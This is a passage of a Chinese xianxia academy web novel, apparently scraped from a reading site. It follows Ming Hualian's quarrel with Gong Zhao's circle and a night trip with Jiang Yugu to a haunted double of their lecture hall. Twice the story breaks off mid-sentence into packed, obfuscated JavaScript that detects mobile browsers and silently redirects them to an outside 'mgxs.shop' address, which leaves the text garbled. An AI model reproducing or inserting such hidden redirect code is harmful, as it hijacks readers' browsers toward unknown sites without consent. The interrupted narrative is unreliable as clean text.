听见他这么说,江郁故用一种表扬的语气说:“哦,节俭也是一种优秀的品格。” 这时,严再樟不知什么时候走过来:“诶?你们俩关系什么时候这么好了?” 严再樟灵活的眼珠左右摇晃,视线在他们身上逡巡,直到他对上江郁故的视线。 江郁故倦怠的抬起眼皮,轻飘飘地扫了他一眼。 与江郁故华丽的脸相得益彰的,是他长而密的睫毛,眨动时本该显得煽情,但在映衬冷淡的面孔的映衬下,就显得格外冰冷,锐利。 严再樟就像被锋利的刀刺中一样,仓促地收回了视线。 明华潋:“什么事?” 严再樟没再往江郁故那边看。 而是走近两步,凑到明华潋的耳边:“你这样不对吧……” 明华潋对他的举动感到疑惑:“哪里不对?” 严再樟提醒他:“明华潋你不是一向黏着宫哥,现在为什么又和江郁故走这么近?” 明华潋差点露出荒唐的表情。 但即便是他想要收敛,在看到严再樟严肃的面孔时还是感觉荒谬和可笑。 然后他真的忍不住笑出了声。 严再樟似乎有些惊讶:“这好笑吗?” 明华潋反问:“江郁故和宫昭本来就是发小,就算我和他走近一点,宫昭会有什么不满吗?” 严再樟皱眉:“但你是宫昭的人。” 在嵇云学院,群体就像是狼群,当狼群中有着势均力敌的两头头狼,即使他们关系再好,下位者也不得不考虑追随的问题。 即便严再樟并不认同,但明华潋一直牢牢占据宫昭身边的位置,和宫昭关系最亲密。 即便江郁故和宫昭关系再好,也是少有的,势均力敌的对手,他们就应该保持适当的距离。 明华潋知道严再樟是什么意思,但在现在这种情况下,他和宫昭的关系恶化的情况下,他很厌恶这种从属感。为什么他必须对宫昭忠心,而宫昭却可以和余温雪在一起把他丢下呢? 又不是什么附属品,他满心委屈。 但他向来是很冷静的,即便是很厌恶这种说法,表面依旧保持平静:“你到底有什么事?” 严再樟终于意识到还有正事要说。 用通知一般的口吻:“明日休沐,今晚宫哥邀我们一起玉椋楼小聚,你也去。” 明华潋回想起上次到宫昭宿舍玩牌的情况,心中深恶痛绝。 其实他向来就对这种聚会不感兴趣,比起打牌,他更想安安静静看书。如果说有什么事情是付出时间一定会得到回报,那就是学习。 何况现在宫昭的注意力都在余温雪身上,他去不去应该都无所谓吧。 “我不去。” 严再樟:“为什么?” 他随便找了个借口:“我有其他的事要做。” “什么事?”严再樟忍不住往后看了一眼,压低声音:“难不成和江郁故有关?” “……” 明华潋无语的看着他。 严再樟当他是默认了,用一种“你确定要这么做的”目光看着他:“宫哥特意要我带你去,你却要跟江郁故在一起?” “别瞎说,不是这样的。”明华潋只好道。 偏偏这时江郁故不耐烦地开口:“叽里咕噜废话说完了吗?得知道礼貌啊。先来的人让了后来的人,后来的人就应该感激的尽快结束话题才对啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620865|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……” “说,说完了。”严再樟咽了口唾沫,紧张得有些磕巴,“不好意思打扰你俩说话,真的不好意思……” 匆匆离开前,经过明华潋身边小声道:“我会告诉宫哥,你可别后悔啊!” 明华潋叹了口气,已经感觉到了麻烦,严再樟的大嘴巴是仅次于娄绣石,谁知道他会添油加醋,说些什么乱七八糟的东西。 江郁故食指托着下巴看着他,莫名其妙开口:“你生宫昭的气了?” 明华潋烦躁得不行,忍不住瞪了江郁故一眼,都是他害得严再樟误会了。 “你怎么知道?” “这很明显。”江郁故摊手。 明显?明显什么?因为平时他会黏在宫昭的身边,从来不会拒绝宫昭的这些要求是吗? 江郁故简简单单一句话,但他却感觉自尊心又被戳了一下。 说实话,他并不担心严再樟和宫昭说些什么,倒不如说他心里隐隐期待着这样的场景。 他明华潋也并不是非得黏在你宫昭身边,你和余温雪在一起,他也可以找别人一起玩。正是出于这些微妙小心思,他刚才才没有抓住反驳严再樟的误会。 如果是平时理性的他,很讨厌这样的脱轨,但现在的他只想回击宫昭。即使宫昭可能察觉不到他的回击,但他也想这么做,至少这会让他现在心情愉快。 但这个事实被江郁故戳破,明华潋又有点羞恼。 他埋头收拾笔记和课本,再不想搭理江郁故。 江郁故却一直看着他,嘴巴微微张开,似乎欲言又止,眼看他要起身离开了,才叫住:“嗨,你还记得答应过我什么?” 明华潋昂起头:“什么?” 江郁故眼神里流露出失望,抱起双臂:“真叫人失落,这才几天你就忘得一干二净。” 明华潋呼出一口气:“你到底在说什么?” 江郁故严肃地看着他:“你答应过我,这次休沐要和我在一起。” “……” “哇,你别告诉我你不记得了!” 明华潋缓慢回想起来,似乎真的有这么一回事,发生在他帮过褚循之后,江郁故说希望他对自己善良一点,然后提出了这个要求。 但…… 他什么时候答应了? 面对江郁故热切的目光,他婉拒:“我要复习功课,明天腾不出空余的时间。” 江郁故失望极了,脸上满是抱怨:“只是一天的时间不看书,也不会怎么样。” 明华潋:“不行,功课重要。” “好吧,那不要一整天了,就一个晚上时间,可以吗?”江郁故微微眨眼。 “……” 江郁故:“我不会像宫昭一样惹你生气的,答应我吧?” 明华潋内心有种微妙的顿挫感。 确实,他出于嫉妒,不怎么喜欢江郁故,但这段时间相处下来,他发现自己跟江郁故在某些方面有一种微妙的契合。 他也不再像之前那样讨厌江郁故,况且江郁故已经退而求其次,他也没必要一直不给面子的拒绝。 明华潋舔了舔嘴唇。 就在他犹豫的时候,江郁故忽然整理起了衣服,站了起来,深色海陬石与腰间的兽首玉佩相得益彰。 江郁故走到他面前站定,笑了起来:“那么,今天晚上陪我吧?” 20.小聚 当晚,玉椋楼。 在最上等的包厢中,笙歌漫漫,玉酿佳肴,舞莺台上喧阗鼎沸,粉雾绕红绡帐。 莫说是普通人,就是修士到了这也会被乱花迷了眼。 鱼佑殷勤地给宫昭斟了杯酒:“听说宫哥前几天和人干起来了,怎么回事啊?究竟是和哪拨人。” 娄绣石嗤笑:“还能和谁?还不是隔壁桃源学院那帮人,喜欢寻花问柳也就罢了,没一点本事,还喜欢学人家到处抢人就招笑了。” 鱼佑:“哦,是那帮子人。” 曹弘:“之前在红绡阁就喜欢跟我们抢人,宫哥教育了他们一次,他们见到我们就夹着尾巴走。前几天宫哥带余温雪上街,余温雪不知道怎么的,老是闹别扭,非要一个人走,这不,被那帮人盯上了,非要拉人去喝一杯,嘴巴不干不净调戏人。要紧关头,还得是宫哥出手,给那帮人骨头都打断了,吭都不敢吭一声就润了。” “余温雪也是,这美人闹脾气是别具风情,但总闹脾气也让人消受不了。”娄绣石道:“这次还好有你护住他,他还为了兰砚舟那事儿不愉快吗?” 宫昭:“已经好了。” 娄绣石“啧”了一声,鱼佑则和曹弘交换了一个松口气的表情,宫昭感情不顺,气氛就不好,他们也不好过。 夏淳嘟囔:“真不知道男人后洞有什么好?” 鱼佑分析:“余温雪性子软,又很容易感动,只要有人愿意护住他,站在他那边,他就很难不被打动。” 娄绣石瞥了眼心不在焉的宫昭,突然转移话题:“话说今天是不是少了个人?” 夏淳:“谁啊?” 宫昭坐在首座,漫不经心地晃着酒杯,目光转向严再樟:“让你告诉明华潋,你没说?” “怎么会呢,”严再樟匆忙开口:“我说了,一早就说了,但他说……不来。” 宫昭把玩着酒杯,没有立刻回应,气氛一时间陷入凝滞。 夏淳看了眼宫昭的表情,大咧咧道:“你宝贝余温雪,是惦记着他的屁股,想跟他上床,这我能理解,但你总把明华潋看得那么紧做什么?” “这都一、二、三……快三年了吧,”夏淳掰着指头数了数,“咱们玩牌、喝酒,出来小聚,无论干什么你都想着他,但那家伙呢?高傲得很,仗着成绩好总觉得自己了不起。” 夏淳瞥了眼严再樟,拍着桌子大声道:“背后空空荡荡的家伙,凭什么跟我们平起平坐?” 宫昭轻晃酒杯:“正因为他背后空空荡荡,我才得看紧他。” 鱼佑笑道:“宫哥就是心善,怕他无所依靠,受人欺负。” “我看不见得。”娄绣石嘀咕。 “你们都出身有头有脸的名门世家,就算人一时消失了,也知道去哪里找,但要是明华潋那样的。消失了,可就真的没了……”宫昭呢喃。 娄绣石暗道宫昭还是跟他想的一样没人性:“怪不得你要把他握在掌心……” 宫昭:“所以啊,人没有线牵着是不行的。” 几人跟在后面附和:“除了宫哥,还有谁会对他那么好?” 严再樟一直处于紧张状态,宫昭忽又抬眼望来:“华潋,还说了什么?” 严再樟捏紧酒杯,一些话到了嗓子眼又被他咽了回去:“没,没没说什么……” 他本来是想提醒宫昭,明华潋和江郁故的关系的,但现在看来,氛围明显不适合。 好不容易宫昭和余温雪缓和了,心情还算不错,这才有了这次的小聚,这时候再提到明华潋跟江郁故的关系就像故意搅局似的。 何况宫昭刚才的态度也是明确表示了要护着明华潋,也就是说,明华潋的位置一时半会是不会动摇的。 他再说些有的没的,倒显得缺心眼。 严再樟转了转眼珠,决定先按下不表。 此处笙歌欢舞,人声喧阗,与此同时,嵇云深处却是一片静谧。 次日便是休沐,学生多半都放假下山,或在藏书阁挑灯夜战,枕流居只堪闻零星灯火。 明华潋在约定的时间来到枕流居出口,江郁故早已经等在那里。 “我们去哪里?” 江郁故将右手一根手指抵在唇上,做了一个“嘘”的动作:“跟我走。” 江郁故显然是在故弄玄虚,偏偏明华潋的好奇心也被勾起来,他忍耐地闭上嘴巴,跟在江郁故后面。 还有几天就到了望月,天空坠着一轮皎皎明月,照亮了他们前行的小径,竹林簌簌被抛在身后随后淹没在黑暗里。 不知从何时起,一股透骨寒意拂来,远远的,隐约能看到一幢像墓碑一般的墨黑色建筑物。 沉重的压迫感让人喘不过来气,这里是学院学生们最畏惧的地方。 他忍不住停下脚步,小声问:“这里是苦寒牢,我们来这里做什……” 话还没说完,江郁故微凉的手指触碰到了他的嘴唇。 这是一个让人噤声的手势,很快他就知道了原因。 他听到了铁链晃动声,紧接着,一个高大巍峨的身影从侧面树林缓慢走出,通体似铜非铜,似铁非铁,流转着诡秘的光泽,两眼如巨大的灯笼冒着荧惑绿光。 宛如一尊沉默的巨兽,又像是漆黑的幽灵在树丛中安静的游荡。 是巡逻的机关兽。 如果早知道是来这里,他绝不会答应江郁故。 明华潋感到后悔,据说苦寒牢是仙器苦寒钺殒没之地,修士在这里皆会丧失灵力,饱受霜寒侵体之苦。 自古以来,苦寒牢里关押的都是危害修真界的重罪犯,因此,向来不允许任何学生进入。 眼看机关兽越来越近,他恨不得转身就走,但又怕反而引起怪兽的注意。 他抬头去看江郁故,发现江郁故的脸上没有一丝的担心,依旧是那副轻松的模样。 他们目光对上之后,江郁故还微微朝他挑了挑眉毛。 “……” 好在机关兽并没有真正踏足他们周围的区域,而是稍微转了一圈,就往另一个方向去了, 明华潋心头微松:“你不知道这里是苦寒牢吗?学院不允许我们来这里的。” 江郁故:“谁规定了?” “什么?”明华潋道:“大家都知道。” “校规里又没写。”江郁故露出一抹轻松的笑容:“不被发现就行了。” “……” 江郁故眨眨眼睛,笑了起来:“别害怕,我们就快到了。” 不得不说,他之前很讨厌江郁故总是摆出一幅慵懒轻松的表情,似乎所有事情都是不值一提的样子,但在这个时候却格外可靠,让他心头无形的压力小了许多。 其实他也想现在转身就走。 但好不容易都来到这里了,就这么担惊受怕的回去,倒显得很窝囊。 江郁故已经在前面走了,他望着那个背影,犹豫了一会,还是不情不愿地跟了上去。 * 穿过一条冗长荒僻的小径,映入眼帘的是一栋颇有些眼熟的建筑,但俨然早已鞫为茂草的废墟,墙瓦上爬满青苔,通往门口的道路也被杂草覆盖。 寒风在树林间流动,时疾时缓,穿过林子吹拂在他的后背,像是加重了的呼吸,仿佛有某种生物潜藏在附近。 明华潋知道这是自己的胡思乱想,但还是不由靠江郁故近了些。 江郁故瞥他一眼:“怕?” “怎么会。”明华潋故作冷静,环顾四周:“就是这里吗?” “嗯。” 得到肯定答复后,他更加认真地观察周围的环境,这里原本是平地,估计也是开阔明亮的地方,但被荒废了太久,树木长得格外的茂盛,连月光都照不进来。 只隐约看到建筑的轮廓有点熟悉,宛如一座庞然的黑影,屹立在不远处。 他刚想往前走,脚尖就不知被什么东西绊了一下,紧接着,身边骤然一亮。 他转过头,看到江郁故掌心跳跃着一簇深红色的火光。是了,江郁故五行道术是满分,区区控火术自然不在话下。 火光霎时间驱散了黑暗,他们面前的那一块地方亮了起来,只见他们脚下微微凸起一块。 “是台阶。”明华潋顺着台阶的走向,望向远处黑黢黢的建筑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17627838|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“通往那里的。” 江郁故:“那我们快去吧。” “……嗯。” 江郁故先一步走在前面,明华潋硬着头皮跟在身后半步的位置。 紧张情绪就像一根细丝悬在心间,他得抓住点什么来缓解这种紧张。 等反应过来的时候,他已经抓住了江郁故的衣袖。 江郁故似乎也察觉到了,悄然放慢了脚步。 不知道是不是他的错觉,随着他们一步一步接近建筑,那宛如呼吸声般的风声也加重了。 月光如同被打碎了,落在他们脚下的地面,石阶凹凸不平,有的地方塌陷一块,稍不留神就容易被绊一脚,明华潋全神贯注留意脚下和周围的情况。 直到来到建筑物近前,他更觉得有些眼熟,一扇半开的门扉映入眼帘,门扉上漆面几乎剥落。 借着江郁故制造的火光,再往上看,上方的匾额摇摇欲坠,几乎快要掉下来。 匾额上的字经过风雨侵蚀,更是破败不堪,难以辨认。明华潋眯着眼观察,只勉强认出中间“吉央”两个偏旁。 “可以再让光源向上一些吗?暗的地方看不到。” “好吧。”江郁故一副很好说话的样子,嘴角噙着笑意,手掌往上轻轻一托,那团火光便不偏不倚,恰好升到了匾额的正中央。 “吉央院?”明华潋皱眉:“不,不对……” 江郁故:“是撷英院。” 明华潋终于意识到自己为什么会觉得建筑眼熟,那是因为即便荒芜多年,仍依稀能找到与撷英院相似的轮廓。 平日里上课的地方忽然变作荒芜多年的废墟出现在面前,他心中浮现出一丝怪诞和别扭的感觉。 “如果这里是撷英院,那我们平时上课的地方是什么?”他小声自言自语。 但周围除了风声异常寂静,江郁故自然也能听到他自言自语。 “当然也是撷英院。”江郁故似乎颇感兴趣,道:“我们进去看看。” 明华潋心里有点害怕,如果是他一个人肯定早就逃离了这里,但江郁故还在这里,他不想把自己的胆怯表露出来,只好忍着发麻的头皮跟在后面。 “嘎吱——” 江郁故推开半掩的门扉,承轴发出不堪负重的刺耳声。 “咳咳……”灰尘也扬了起来,明华潋轻声咳嗽。 进到屋子里后,视野顿时陷入一片黑暗,好在江郁故用控火术燃起光源,视野又重新变得开阔亮堂。 明华潋本以为这个建筑只是外表肖似撷英院罢了,但里面的场景出乎他的意料。 入眼的内部格局甚至都和撷英院别无二致,只不过更加荒凉破败。 走廊起点处有一间学堂,门口挂着与他们平时上学的学堂一模一样的“壹”字门牌。微弱的光线透过门板缝隙泄露出来。 一股微妙的紧张感捏住了他的心脏。 里面有人。 明华潋不自觉压低了声音低声:“这好像是我们平时上课的教室。” “推开门看看吧,也许里面还有人在上课呢?”江郁故满怀期待地眨了眨眼。 “……你在开玩笑吗?” 想到这种画面,明华潋鸡皮疙瘩都快起来了,嗓音也难得有些锐利。 但江郁故似乎丝毫不觉得这里有什么可怕的,抬手就推开了“臺”的门。 “吱呀——” 承轴发出干噪的噪声,明华潋后背发凉,下意识斜眼看了一眼,学堂里空空荡荡,并没有任何人,才缓缓松了一口气。 那里面为什么会有光? 他们走进学堂,只见本该是窗户的位置被糊满了黄纸,黄纸上沾满了鲜红的手印,乍一眼看像是血迹,他的血液仿佛凝固,直到他听见江郁故道:“是朱砂。” 顺着光亮处溯源,只见横梁之上吊着一排排白纸灯笼。 这是他们学堂没有的东西,他的内心惊慌起来,手指也变得沁凉。 偏偏这时风将门扉闭合,白纸灯笼开始摇曳,不知何处传来沙沙声。 等他回过头,方才还空荡荡的学堂,已然坐得满满当当。